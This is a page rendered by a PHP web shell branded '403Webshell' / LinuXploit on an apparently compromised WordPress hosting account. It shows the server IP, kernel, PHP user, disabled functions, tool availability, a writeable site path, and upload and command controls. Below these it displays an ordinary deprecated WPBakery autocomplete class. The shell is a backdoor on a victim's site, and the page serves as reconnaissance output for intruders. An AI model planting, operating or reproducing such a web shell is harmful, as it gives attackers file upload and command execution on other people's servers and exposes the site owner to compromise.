403Webshell
Server IP : 141.193.213.10  /  Your IP : 216.73.216.116
Web Server : nginx
System : Linux pod-400555 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200079 ( 200079)
PHP Version : 8.2.35
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/bartislaw/wp-content/plugins/js_composer/include/classes/deprecated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/bartislaw/wp-content/plugins/js_composer/include/classes/deprecated/classes.php
<?php
/**
 * Class lib
 *
 * @deprecated
 */

if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Autocomplete class
 *
 * @since 4.4
 * @deprecated 9.0 Use WPB_Form_Field_Autocomplete instead
 */
class Vc_AutoComplete {
	/**
	 * Param settings
	 *
	 * @since 4.4
	 * @var array $settings
	 */
	protected $settings;
	/**
	 * Current param value (if multiple it is splitted by ',' comma to make array).
	 *
	 * @since 4.4
	 * @var string $value
	 */
	protected $value;
	/**
	 * Shortcode name(base).
	 *
	 * @since 4.4
	 * @var string $tag
	 */
	protected $tag;

	/**
	 * Vc_AutoComplete constructor.
	 *
	 * @param array $settings - param settings (from vc_map).
	 * @param string $value - current param value.
	 * @param string $tag - shortcode name(base).
	 *
	 * @since 4.4
	 * @deprecated 9.0 Use WPB_Form_Field_Autocomplete instead
	 */
	public function __construct( $settings, $value, $tag ) {
		_deprecated_function( __METHOD__, '9.0', 'WPB_Form_Field_Autocomplete::get()' );
		_doing_it_wrong( __CLASS__, 'This class is deprecated and will be removed in version 10.0. Use WPB_Form_Field_Autocomplete instead.', '9.0' );

		$this->tag = $tag;
		$this->settings = $settings;
		$this->value = $value;
	}

	/**
	 * Render autocomplete param.
	 *
	 * @param string $param_id since 9.0.
	 * @return string
	 * @since 4.4
	 * @deprecated 9.0 Use WPB_Form_Field_Autocomplete::get() instead
	 * vc_filter: vc_autocomplete_{shortcode_tag}_{param_name}_render - hook to define output for autocomplete item
	 */
	public function render( $param_id = '' ) {
		$settings_array = isset( $this->settings['settings'] ) ? $this->settings['settings'] : [];

		return WPB_Form_Field_Autocomplete::get( [ // nosemgrep - escaping handled by WPB_Form_Field_Autocomplete.
			'id'             => wpbakery()->editForm()->get_value_control_id( $param_id, $this->settings['type'] ),
			'classes'        => wpbakery()->editForm()->get_value_control_classes( $this->settings['param_name'], $this->settings['type'] ),
			'name'           => $this->settings['param_name'],
			'value'          => $this->value,
			'tag'            => $this->tag,
			'settings'       => $settings_array,
			'param_settings' => $this->settings,
		] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit